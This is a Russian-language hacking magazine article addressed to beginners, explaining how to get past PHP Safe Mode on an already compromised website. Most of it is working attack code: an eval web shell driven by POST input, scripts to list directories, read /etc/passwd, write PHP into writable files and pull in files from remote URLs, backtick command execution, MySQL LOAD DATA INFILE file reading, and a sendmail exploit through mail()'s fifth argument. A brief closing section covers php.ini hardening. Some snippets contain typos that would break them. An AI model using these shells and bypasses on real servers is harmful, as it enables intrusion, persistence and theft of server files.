Начинающего хакера очень часто может испугать то, что на сервере включена опция Safe Mode в PHP. К примеру, хакер взломал какой-то сайт через include(), require(), fopen() уязвимость, а на исполнение команд оболочки у него недостаточно прав. Каждый с этим сталкивался, но не каждый решал эту проблему.

Способов обхода Safe Mode довольно много. Но сначала разберемся в том, что собой представляет Safe
Mode. Safe Mode – это директива в PHP, которая запрещает исполнять system(), passthru(), exec(),
shell_exec и другие функции, выполняющие системные программы.
Если PHP настроен, как Safe Mode + open_basedir, тогда никакие файлы вне open_basedir не обслуживаются PHP, не стартуют программы, которые находятся вне данной директории. 

Список функций ограничиваемых Safe Mode: chgrp, include, require, chmod, link, rmdir, chown, passthru, sumlink, exec, popen, system, fopen, readfile, unlink, file,
rename. Довольно полезная функция для системных администраторов и довольно вредная для хакеров, не так ли? Но, все можно обойти, я в этом убедился уже давно,
чего и тебе желаю. Safe Mode не блокирует функции include(), require(), fopen(), fwrite() и многие другие, не менее полезные. Тогда мы просто реализуем все, что нам нужно с помощью остальных функций PHP не прибегая к запуску системных команд.

Для этой цели нам нужен скрипт, через который мы будем исполнять PHP код.

<?
$shell = get_magic_guotes_gpc();
if (!empty[$_POST[‘c’] )) {
$c = $shell ? stripslashes($_POST[‘c’]) : $_POST[‘c’];
} else {
$c = NULL;
}
echo «<form action=» method=’POST’>
<texarea cols=’80’ rows=’30’ name=’c’ id=’c’>
$c;
</textarea>
<br><input type=’submit’></form>»;
if (!is_null($c)) eval($c);
?>

Конечно, можно создать полноценный шелл и гиперссылками и выделением, эту работу я оставлю тебе, моя же цель показать примеры использования альтернативных функций PHP. В данном скрипте шелл код нужно вводить без <? и ?>.

Листинг Файлов:

<?
$dir = dir(«.»);
print «Path: «, realpath($dir->path) . «<br>\n»;
while (False !== ($entry = $dir->read())) {
if (is_dir(realpath($dir->path).’/’.$entry)) {
echo «[«.$entry.»].(is_writable(realpath($dir->path).’/’.$entry) ? ‘ [W]’ : »). «<br>\n»;
} else {
echo $entry.(is_writable(realpath($dir->path).’/’.$entry) ? ‘ [W]’ : »). «<br>\n»;
}
}
$dir->close();
?>

Прекрасно! Вот и нашлась замена “ls -la”. 

$dir = dir(«.»); — в скобках указывай полный путь к директории, листинг которой хочешь увидеть. Если не знаешь полного пути на сервере, просто запусти код без параметров, и ты увидишь этот путь.

Для просмотра файла используй этот код:

<?
echo nl2br(htmlspecialchars(implode(», file(»))));
?>

file(»)))); — к примеру заменяешь на file(‘/etc/passwd’))))";

Вот она мощь PHP! И это еще не все, если на файл поставлен бит +w, то мы сможем записать в него любую информацию.

<?
$filename = »;
$comecontent = »;
$handle = fopen($filename, ‘w’);
fwrite($handle, $comecontent);
fclose($handle);
?>

$filename – имя файла
$comecontent – то, что пишем в файл

Если нужно записать PHP информацию используй $comecontent такого вида:

‘<‘.’?php
//
тут пхп код
?’.’>’;

Далее я приведу еще немного полезных общедоступных функций PHP, которые тебе пригодятся.
Сразу говорю, что не все будут работать в правильно настроенном Safe
Mode.

Открытие файла или URL:
fopen($sPathFile, $sModifier);
//модификатор может иметь значения: 
//\’r\’ — Открыть только для чтения;
//\’r+\’ — Открыть для чтения и записи;
//\’w\’ — Открыть только для записи;
//\’a\’ — Открыть только для записи в конец файла;
//\’a+\’ — Открыть для чтения и записи в конец файла;

Копирование файла:
copy($sOldPath, $sNewPath);

Переименование файла:
rename($sOldPath, $sNewPath)

Удаление файла:
unlink($sPathFile);

Проверка существования файла:
file_exists($sPathFile);

Проверка на поддержку чтения:
is_file($sPathFile);

Такой себе chmod в PHP (в Safe Mode часто отключен):
chmod($sPathFile, 0755) // Обязательно пишите О (нуль) перед указателем режима

Вывод содержимого файла в браузер:
readfile($sPathFile);

Создание директории:
mkdir($sPathFolder, $iChmod);

Удаление директории:
rmdir($sPathFolder);

Кстати, иногда прокатывает довольно интересный способ:

$cmd=`ls`; 
print «<pre>$cmd</pre>»; 

Это способ выполнения системных команд, не требующий вызова функций.
Здесь команда заключается в обратные апострофы. 

Действительно, с обходом Safe Mode возникает очень большая морока, порой легче загрузить, к примеру, perl сценарий, и исполнять команды через него.
PHP дает нам возможность загрузить любой файл, хоть с localhost хоть с удаленного сервера. 

С твоего компьютера:

<?
echo <<<HTML
<form enctype=»multipart/form-data» action=»$self» method=»POST»>
<input type=»hidden» name=»ac» value=»upload»>
<tr>
<td>File:</td>
<td><input size=»48″ name=»file» type=»file»></td>
</tr>
<tr>
<td>Path:</td>
<td><input size=»48″ name=»path» type=»text»><input type=»submit» value=»OK»></td><br>
HTML;

if (isset($_POST[‘path’])){

$uploadfile = $_POST[‘path’].$_FILES[‘file’][‘name’];
if ($_POST[‘path’]==»»){$uploadfile = $_FILES[‘file’][‘name’];}

if (copy($_FILES[‘file’][‘tmp_name’], $uploadfile)) {
echo «OK $uploadfile\n»;
echo «Name:» .$_FILES[‘file’][‘name’]. «\n»;
echo «Ves:» .$_FILES[‘file’][‘size’]. «\n»;

} else {
print «Error:\n»;
print_r($_FILES);
}
}
?>

С удаленного компьютера:

<?
echo «<form enctype=’multipart/form-data’ action=’?ac=upload&status=ok’ method=post>
<input type=’text’ name=’file3′ value=’http://’ size=40><br>
ServerPath: <br>
<input type=’text’ name=’file2′ value=’$docr/’ size=40><br>
<input type=’submit’ value=’OK’></form>»;

if (!isset($status)) downfiles();

else
{

$data = @implode(«», file($file3));
$fp = @fopen($file2, «wb»);
@fputs($fp, $data);
$ok = @fclose($fp);
if($ok)
{
$size = filesize($file2)/1024;
$sizef = sprintf(«%.2f», $size);

print «<br><center>OK: <b>ves <u>$file2</u> ves</b> («.$sizef.»??) </center>»;
}
else
{
print «<br><center><font color=red size = 2><b>error</b></font></center>»;
}
}

?>

Также файл можно загрузить через ftp:

<?
ftp_connect(хост)
ftp_login(ftp_ресурс, username, password)
ftp_cdup(директория ftp ресурса)
ftp_get(ftp_ресурс, имя локального файла, дистанционный файл, режим копирования)
//
Режим обязан быть FTP_ASCII или FTP_BINARY
ftp_quit(ftp_ресурс)
ftp_close(хост)
?> 

Еще один способ обхода Safe Mode заключается библиотека mysql, через функции которой можно производить действия с произвольными файлами. Юзай оператор LOAD DATA и будет тебе счастье.

CREATE TABLE `test` ( `file` LONGBLOB NOT NULL ); 
загрузка файла в таблицу
LOAD DATA INFILE «/etc/passwd» INTO TABLE test;
вывод содержимого файла и удаление таблицы
SELECT * FROM test; DROP TABLE test;

Также в пятом аргументе функции mail() была найдена уязвимость, которая позволяет передавать опции командной строки в
sendmail:

<?
$script=tempnam(«/tmp», «script»);
$cf=tempnam(«/tmp», «cf»);

$fd = fopen($cf, «w»);
fwrite($fd, «OQ/tmp
Sparse=0
R$*» . chr(9) . «$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script»);
fclose($fd);

$fd = fopen($script, «w»);
fwrite($fd, «rm -f $script $cf; «);
fwrite($fd, $cmd);
fclose($fd);

mail(«nobody», «», «», «», «-C$cf»);
?>

Защита

Отредактируй php.ini:

sql.safe_mode = On
safe_mode_gid = On
safe_mode = On 🙂

Установить safe_mode_include_dir и safe_mode_exec_dir.

disable_functions – тут нужно запретить неиспользуемые на сервере функции, phpinfo() и остальные.

И не забуть обновлять программное обеспечение на своем сервере.

Если что, пиши, я всегда помогу настроить тебе сервер на определенную плату 😉

Оставить мнение

Check Also

Хакер ищет авторов. Читатель? Хакер? Программист? Безопасник? Мы тебе рады!

Восемнадцать лет мы делаем лучшее во всем русскоязычном пространстве издание по IT и инфор…